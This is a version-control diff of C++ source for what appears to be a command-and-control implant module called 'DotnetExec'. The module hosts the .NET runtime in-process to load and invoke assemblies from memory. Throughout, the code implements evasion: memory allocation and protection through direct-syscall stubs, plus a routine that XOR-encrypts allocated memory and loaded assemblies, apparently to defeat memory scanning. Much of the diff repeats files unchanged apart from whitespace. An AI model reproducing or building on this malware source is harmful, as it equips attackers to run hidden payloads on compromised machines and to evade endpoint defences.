if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef()
{
return(++((MyAssemblyStore*)this)->count);
}
ULONG STDMETHODCALLTYPE MyAssemblyStore::Release()
{
if (--((MyAssemblyStore*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyAssemblyStore*)this)->count;
}
int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assembly=data;
if(m_assemblyStream!=nullptr)
m_assemblyStream->Release();
m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size());
identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize);
// std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl;
// std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl;
m_id++;
return 0;
}
int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_targetAssembly->updateTargetAssembly(identityManager, data);
return 0;
}
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB)
{
// std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl;
// std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl;
// std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl;
// Check if the identity of the assembly being loaded is the one we want
if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0)
{
//This isn't used for anything here so just set it to 0
*pContext = 0;
UINT64 id = m_targetAssembly->getId();
*pAssemblyId = id;
//Create an IStream using our in-memory assembly bytes and return it to the CLR
*ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize());
return S_OK;
}
// std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl;
// If it's not our assembly then tell the CLR to handle it
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
}
// This shouldn't really get called but if it does we'll just tell the CLR to find it
HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB)
{
// std::cout << "MyAssemblyStore::ProvideModule" << std::endl;
//Tell the CLR to handle this
return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND);
}
+93 -93
View File
@@ -1,94 +1,94 @@
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include <string>
#include <shlwapi.h>
class TargetAssembly
{
public:
TargetAssembly(void)
{
m_assemblyStream = nullptr;
m_id = 5000;
m_assemblyInfo = (LPWSTR)malloc(4096);
m_identityBufferSize = 4096;
};
~TargetAssembly(void)
{
free(m_assemblyInfo);
};
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
LPWSTR getAssemblyInfo()
{
return m_assemblyInfo;
};
int getId()
{
return m_id;
};
char* getAssembly()
{
return m_assembly.data();
};
int getAssemblySize()
{
return m_assembly.size();
};
private:
DWORD m_identityBufferSize;
LPWSTR m_assemblyInfo;
std::string m_assembly;
IStream* m_assemblyStream;
int m_id;
};
class MyAssemblyStore : public IHostAssemblyStore
{
public:
MyAssemblyStore(void);
~MyAssemblyStore(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB);
virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_targetAssembly = targetAssembly;
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
LPWSTR getAssemblyInfo()
{
return m_targetAssembly->getAssemblyInfo();
};
protected:
DWORD count;
private:
TargetAssembly* m_targetAssembly;
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include <string>
#include <shlwapi.h>
class TargetAssembly
{
public:
TargetAssembly(void)
{
m_assemblyStream = nullptr;
m_id = 5000;
m_assemblyInfo = (LPWSTR)malloc(4096);
m_identityBufferSize = 4096;
};
~TargetAssembly(void)
{
free(m_assemblyInfo);
};
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
LPWSTR getAssemblyInfo()
{
return m_assemblyInfo;
};
int getId()
{
return m_id;
};
char* getAssembly()
{
return m_assembly.data();
};
int getAssemblySize()
{
return m_assembly.size();
};
private:
DWORD m_identityBufferSize;
LPWSTR m_assemblyInfo;
std::string m_assembly;
IStream* m_assemblyStream;
int m_id;
};
class MyAssemblyStore : public IHostAssemblyStore
{
public:
MyAssemblyStore(void);
~MyAssemblyStore(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB);
virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_targetAssembly = targetAssembly;
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
LPWSTR getAssemblyInfo()
{
return m_targetAssembly->getAssemblyInfo();
};
protected:
DWORD count;
private:
TargetAssembly* m_targetAssembly;
};
File diff suppressed because it is too large Load Diff
+38 -38
View File
@@ -15,8 +15,8 @@
#include "HostControl.hpp"
// Import mscorlib.tlb (Microsoft Common Language Runtime Class Library).
#import "mscorlib.tlb" auto_rename raw_interfaces_only \
high_property_prefixes("_get","_put","_putref") \
#import "mscorlib.tlb" auto_rename raw_interfaces_only \
high_property_prefixes("_get","_put","_putref") \
rename("ReportEvent", "InteropServices_ReportEvent")
#endif
@@ -24,9 +24,9 @@
#ifdef _WIN32
struct AssemblyModule
{
mscorlib::_AssemblyPtr spAssembly;
std::string name;
std::string type;
mscorlib::_AssemblyPtr spAssembly;
std::string name;
std::string type;
};
#endif
@@ -35,53 +35,53 @@ class DotnetExec : public ModuleCmd
{
public:
DotnetExec();
~DotnetExec();
DotnetExec();
~DotnetExec();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int osCompatibility()
{
return OS_WINDOWS;
}
private:
bool m_firstRun;
bool m_firstRun;
int clearAssembly();
int clearCLR();
int clearAssembly();
int clearCLR();
#ifdef _WIN32
bool m_memEcrypted;
bool m_moduleLoaded;
bool m_memEcrypted;
bool m_moduleLoaded;
// initCLR
ICLRMetaHost *m_pMetaHost;
ICLRRuntimeInfo *m_pRuntimeInfo;
ICLRRuntimeHost *m_pClrRuntimeHost;
MyHostControl* m_pCustomHostControl;
ICorRuntimeHost* m_pCorHost;
IUnknownPtr m_spAppDomainThunk;
// initCLR
ICLRMetaHost *m_pMetaHost;
ICLRRuntimeInfo *m_pRuntimeInfo;
ICLRRuntimeHost *m_pClrRuntimeHost;
MyHostControl* m_pCustomHostControl;
ICorRuntimeHost* m_pCorHost;
IUnknownPtr m_spAppDomainThunk;
// loadAssembly
mscorlib::_AppDomainPtr m_spDefaultAppDomain;
TargetAssembly* m_targetAssembly;
int initCLR();
int loadAssembly(const std::string& data, const std::string& name, const std::string& type);
int invokeMethodExe(const std::string name, const std::string& argument, std::string& result);
int invokeMethodDll(const std::string name, const std::string& method, const std::string& argument, std::string& result);
int encryptMem();
int decryptMem();
// loadAssembly
mscorlib::_AppDomainPtr m_spDefaultAppDomain;
TargetAssembly* m_targetAssembly;
int initCLR();
int loadAssembly(const std::string& data, const std::string& name, const std::string& type);
int invokeMethodExe(const std::string name, const std::string& argument, std::string& result);
int invokeMethodDll(const std::string name, const std::string& method, const std::string& argument, std::string& result);
int encryptMem();
int decryptMem();
std::vector<AssemblyModule> m_assemblies;
std::vector<AssemblyModule> m_assemblies;
HANDLE m_ioPipeRead;
HANDLE m_ioPipeWrite;
HANDLE m_ioPipeRead;
HANDLE m_ioPipeWrite;
#endif
+85 -85
View File
@@ -1,85 +1,85 @@
#include "HostControl.hpp"
MyHostControl::MyHostControl(void)
{
count = 0;
m_assemblyManager = new MyAssemblyManager();
m_memoryManager = new MyMemoryManager();
};
MyHostControl::~MyHostControl(void)
{
delete m_assemblyManager;
delete m_memoryManager;
};
HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv)
{
// printf("MyHostControl_QueryInterface\n");
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyHostControl::AddRef()
{
// printf("MyHostControl_AddRef\n");
return(++((MyHostControl*)this)->count);
}
ULONG STDMETHODCALLTYPE MyHostControl::Release()
{
// printf("MyHostControl_Release\n");
if (--((MyHostControl*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyHostControl*)this)->count;
}
// This is responsible for returning all of our manager implementations
// If you want to disable an interface just comment out the if statement
HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject)
{
// printf("MyHostControl_GetHostManager\n");
if (IsEqualIID(riid, IID_IHostMemoryManager))
{
*ppObject = m_memoryManager;
return S_OK;
}
if (IsEqualIID(riid, IID_IHostAssemblyManager))
{
*ppObject = m_assemblyManager;
return S_OK;
}
*ppObject = NULL;
return E_NOINTERFACE;
}
// //This has some fun uses left as an exercise for the reader :)
HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager)
{
// printf("MyHostControl_SetAppDomainManager\n");
return E_NOTIMPL;
}
#include "HostControl.hpp"
MyHostControl::MyHostControl(void)
{
count = 0;
m_assemblyManager = new MyAssemblyManager();
m_memoryManager = new MyMemoryManager();
};
MyHostControl::~MyHostControl(void)
{
delete m_assemblyManager;
delete m_memoryManager;
};
HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv)
{
// printf("MyHostControl_QueryInterface\n");
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyHostControl::AddRef()
{
// printf("MyHostControl_AddRef\n");
return(++((MyHostControl*)this)->count);
}
ULONG STDMETHODCALLTYPE MyHostControl::Release()
{
// printf("MyHostControl_Release\n");
if (--((MyHostControl*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyHostControl*)this)->count;
}
// This is responsible for returning all of our manager implementations
// If you want to disable an interface just comment out the if statement
HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject)
{
// printf("MyHostControl_GetHostManager\n");
if (IsEqualIID(riid, IID_IHostMemoryManager))
{
*ppObject = m_memoryManager;
return S_OK;
}
if (IsEqualIID(riid, IID_IHostAssemblyManager))
{
*ppObject = m_assemblyManager;
return S_OK;
}
*ppObject = NULL;
return E_NOINTERFACE;
}
// //This has some fun uses left as an exercise for the reader :)
HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager)
{
// printf("MyHostControl_SetAppDomainManager\n");
return E_NOTIMPL;
}
+115 -115
View File
@@ -1,115 +1,115 @@
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include "MemoryManager.hpp"
#include "AssemblyManager.hpp"
static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} };
inline void XOREncrypt2(char* address, int size, const std::string& xorKey)
{
DWORD start = 0;
while (start < size)
{
*(address + start) ^= xorKey[start % xorKey.size()];
start++;
}
}
class MyHostControl : public IHostControl
{
public:
MyHostControl(void);
~MyHostControl(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject);
virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_assemblyManager->setTargetAssembly(targetAssembly);
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assemblyManager->updateTargetAssembly(identityManager, data);
return 0;
}
LPWSTR getAssemblyInfo()
{
return m_assemblyManager->getAssemblyInfo();
};
const std::vector<MemAllocEntry*>& getVirtualAllocList()
{
return m_memoryManager->getVirtualAllocList();
}
const std::vector<MemAllocEntry*>& getMallocList()
{
return m_memoryManager->getMallocList();
}
int xorMemory(const std::string& xorKey)
{
std::vector<MemAllocEntry*> vitualAllocList = getVirtualAllocList();
for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it)
{
MemAllocEntry* entry = *it;
if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE)
{
XOREncrypt2((char*)entry->Address, entry->size, xorKey);
}
}
MEMORY_BASIC_INFORMATION memInfo;
DWORD oldProtect;
std::vector<MemAllocEntry*> mallocList = getMallocList();
for (auto it = mallocList.begin(); it != mallocList.end(); ++it)
{
MemAllocEntry* entry = *it;
if(entry->Address)
{
::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION));
if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000)
{
if (memInfo.Protect != PAGE_READWRITE)
{
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect);
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect);
}
else
{
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
}
}
}
}
return 0;
}
protected:
DWORD count;
private:
MyAssemblyManager* m_assemblyManager;
MyMemoryManager* m_memoryManager;
};
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include "MemoryManager.hpp"
#include "AssemblyManager.hpp"
static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} };
inline void XOREncrypt2(char* address, int size, const std::string& xorKey)
{
DWORD start = 0;
while (start < size)
{
*(address + start) ^= xorKey[start % xorKey.size()];
start++;
}
}
class MyHostControl : public IHostControl
{
public:
MyHostControl(void);
~MyHostControl(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject);
virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager);
int setTargetAssembly(TargetAssembly * targetAssembly)
{
m_assemblyManager->setTargetAssembly(targetAssembly);
return 0;
}
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
{
m_assemblyManager->updateTargetAssembly(identityManager, data);
return 0;
}
LPWSTR getAssemblyInfo()
{
return m_assemblyManager->getAssemblyInfo();
};
const std::vector<MemAllocEntry*>& getVirtualAllocList()
{
return m_memoryManager->getVirtualAllocList();
}
const std::vector<MemAllocEntry*>& getMallocList()
{
return m_memoryManager->getMallocList();
}
int xorMemory(const std::string& xorKey)
{
std::vector<MemAllocEntry*> vitualAllocList = getVirtualAllocList();
for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it)
{
MemAllocEntry* entry = *it;
if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE)
{
XOREncrypt2((char*)entry->Address, entry->size, xorKey);
}
}
MEMORY_BASIC_INFORMATION memInfo;
DWORD oldProtect;
std::vector<MemAllocEntry*> mallocList = getMallocList();
for (auto it = mallocList.begin(); it != mallocList.end(); ++it)
{
MemAllocEntry* entry = *it;
if(entry->Address)
{
::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION));
if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000)
{
if (memInfo.Protect != PAGE_READWRITE)
{
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect);
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect);
}
else
{
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
}
}
}
}
return 0;
}
protected:
DWORD count;
private:
MyAssemblyManager* m_assemblyManager;
MyMemoryManager* m_memoryManager;
};
+100 -100
View File
@@ -1,101 +1,101 @@
#include "HostMalloc.hpp"
#include "MemoryManager.hpp"
#include <iostream>
MyHostMalloc::MyHostMalloc(void)
{
count = 0;
}
MyHostMalloc::~MyHostMalloc(void)
{
}
HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef()
{
return(++((MyHostMalloc*)this)->count);
}
ULONG STDMETHODCALLTYPE MyHostMalloc::Release()
{
if (--this->count == 0)
{
GlobalFree(this);
return 0;
}
return this->count;
}
HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
{
LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize);
// std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl;
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = allocAddress;
allocEntry->size = cbSize;
allocEntry->type = MEM_ALLOC_MALLOC;
m_memAllocList.push_back(allocEntry);
*ppMem = allocAddress;
if (*ppMem == NULL)
{
return E_OUTOFMEMORY;
}
else
{
return S_OK;
}
}
HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem)
{
// std::cout << "MyHostMalloc::DebugAlloc" << std::endl;
*ppMem = ::HeapAlloc(this->hHeap, 0, cbSize);
if (*ppMem == NULL)
{
return E_OUTOFMEMORY;
}
else
{
return S_OK;
}
}
HRESULT MyHostMalloc::Free(void* pMem)
{
// std::cout << "MyHostMalloc::Free" << std::endl;
if (!::HeapValidate(this->hHeap, 0, pMem))
{
// std::cout << "Detected corrupted heap" << std::endl;
return E_OUTOFMEMORY;
}
::HeapFree(this->hHeap, 0, pMem);
pMem = nullptr;
return S_OK;
#include "HostMalloc.hpp"
#include "MemoryManager.hpp"
#include <iostream>
MyHostMalloc::MyHostMalloc(void)
{
count = 0;
}
MyHostMalloc::~MyHostMalloc(void)
{
}
HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef()
{
return(++((MyHostMalloc*)this)->count);
}
ULONG STDMETHODCALLTYPE MyHostMalloc::Release()
{
if (--this->count == 0)
{
GlobalFree(this);
return 0;
}
return this->count;
}
HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
{
LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize);
// std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl;
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = allocAddress;
allocEntry->size = cbSize;
allocEntry->type = MEM_ALLOC_MALLOC;
m_memAllocList.push_back(allocEntry);
*ppMem = allocAddress;
if (*ppMem == NULL)
{
return E_OUTOFMEMORY;
}
else
{
return S_OK;
}
}
HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem)
{
// std::cout << "MyHostMalloc::DebugAlloc" << std::endl;
*ppMem = ::HeapAlloc(this->hHeap, 0, cbSize);
if (*ppMem == NULL)
{
return E_OUTOFMEMORY;
}
else
{
return S_OK;
}
}
HRESULT MyHostMalloc::Free(void* pMem)
{
// std::cout << "MyHostMalloc::Free" << std::endl;
if (!::HeapValidate(this->hHeap, 0, pMem))
{
// std::cout << "Detected corrupted heap" << std::endl;
return E_OUTOFMEMORY;
}
::HeapFree(this->hHeap, 0, pMem);
pMem = nullptr;
return S_OK;
}
+52 -52
View File
@@ -1,53 +1,53 @@
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include <vector>
typedef enum
{
MEM_ALLOC_LIST_HEAD,
MEM_ALLOC_MALLOC,
MEM_ALLOC_VIRTUALALLOC,
MEM_ALLOC_MAPPED_FILE
} memAllocTracker;
typedef struct _MemAllocEntry
{
SLIST_ENTRY allocEntry;
void* Address;
SIZE_T size;
memAllocTracker type;
} MemAllocEntry;
class MyHostMalloc : public IHostMalloc
{
public:
MyHostMalloc(void);
~MyHostMalloc(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem);
virtual HRESULT Free(void* pMem);
HANDLE hHeap;
const std::vector<MemAllocEntry*>& getMemAllocList()
{
return m_memAllocList;
}
protected:
DWORD count;
private:
std::vector<MemAllocEntry*> m_memAllocList;
#pragma once
#include <Windows.h>
#include <mscoree.h>
#include <metahost.h>
#include <vector>
typedef enum
{
MEM_ALLOC_LIST_HEAD,
MEM_ALLOC_MALLOC,
MEM_ALLOC_VIRTUALALLOC,
MEM_ALLOC_MAPPED_FILE
} memAllocTracker;
typedef struct _MemAllocEntry
{
SLIST_ENTRY allocEntry;
void* Address;
SIZE_T size;
memAllocTracker type;
} MemAllocEntry;
class MyHostMalloc : public IHostMalloc
{
public:
MyHostMalloc(void);
~MyHostMalloc(void);
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
virtual ULONG STDMETHODCALLTYPE AddRef(void);
virtual ULONG STDMETHODCALLTYPE Release(void);
virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem);
virtual HRESULT Free(void* pMem);
HANDLE hHeap;
const std::vector<MemAllocEntry*>& getMemAllocList()
{
return m_memAllocList;
}
protected:
DWORD count;
private:
std::vector<MemAllocEntry*> m_memAllocList;
};
+177 -177
View File
@@ -1,178 +1,178 @@
#include "MemoryManager.hpp"
#include "HostMalloc.hpp"
#include <iostream>
MyMemoryManager::MyMemoryManager(void)
{
count = 0;
m_mallocManager = new MyHostMalloc();
}
MyMemoryManager::~MyMemoryManager(void)
{
delete m_mallocManager;
}
HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv)
{
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager))
{
*ppv = 0;
return E_NOINTERFACE;
}
*ppv = this;
this->AddRef();
return S_OK;
}
ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef()
{
return(++((MyMemoryManager*)this)->count);
}
ULONG STDMETHODCALLTYPE MyMemoryManager::Release()
{
if (--((MyMemoryManager*)this)->count == 0)
{
GlobalFree(this);
return 0;
}
return ((MyMemoryManager*)this)->count;
}
// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc
HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc)
{
// std::cout << "MyMemoryManager::CreateMalloc" << std::endl;
//C reate a heap and add it to our interface struct
HANDLE hHeap = NULL;
if (dwMallocType & MALLOC_EXECUTABLE)
{
hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
}
else
{
hHeap = ::HeapCreate(0, 0, 0);
}
m_mallocManager->hHeap = hHeap;
*ppMalloc = m_mallocManager;
return S_OK;
}
//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines
HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
{
LPVOID allocAddress=NULL;
HANDLE hProcess = GetCurrentProcess();
Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect);
allocAddress = pAddress;
// LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect);
// std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl;
*ppMem = allocAddress;
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = allocAddress;
allocEntry->size = dwSize;
allocEntry->type = MEM_ALLOC_VIRTUALALLOC;
m_memAllocList.push_back(allocEntry);
return S_OK;
}
HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
// std::cout << "MyMemoryManager::VirtualFree" << std::endl;
::VirtualFree(lpAddress, dwSize, dwFreeType);
lpAddress = nullptr;
return S_OK;
}
HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult)
{
// std::cout << "MyMemoryManager::VirtualQuery" << std::endl;
*pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength);
return S_OK;
}
HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect)
{
// std::cout << "MyMemoryManager::VirtualProtect" << std::endl;
HANDLE hProcess = GetCurrentProcess();
Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect);
// ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect);
return S_OK;
}
HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes)
{
// std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl;
//Just returning arbitrary values
*pMemoryLoad = 30;
*pAvailableBytes = 100 * 1024 * 1024;
return S_OK;
}
HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback)
{
// std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl;
return S_OK;
}
HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
{
// std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl;
return S_OK;
}
//
// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process
//
HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
{
// std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl;
// std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl;
//This is used to track the assemblies that are mapped into the process
MemAllocEntry* allocEntry = new MemAllocEntry();
allocEntry->Address = startAddress;
allocEntry->size = size;
allocEntry->type = MEM_ALLOC_MAPPED_FILE;
m_memAllocList.push_back(allocEntry);
return S_OK;
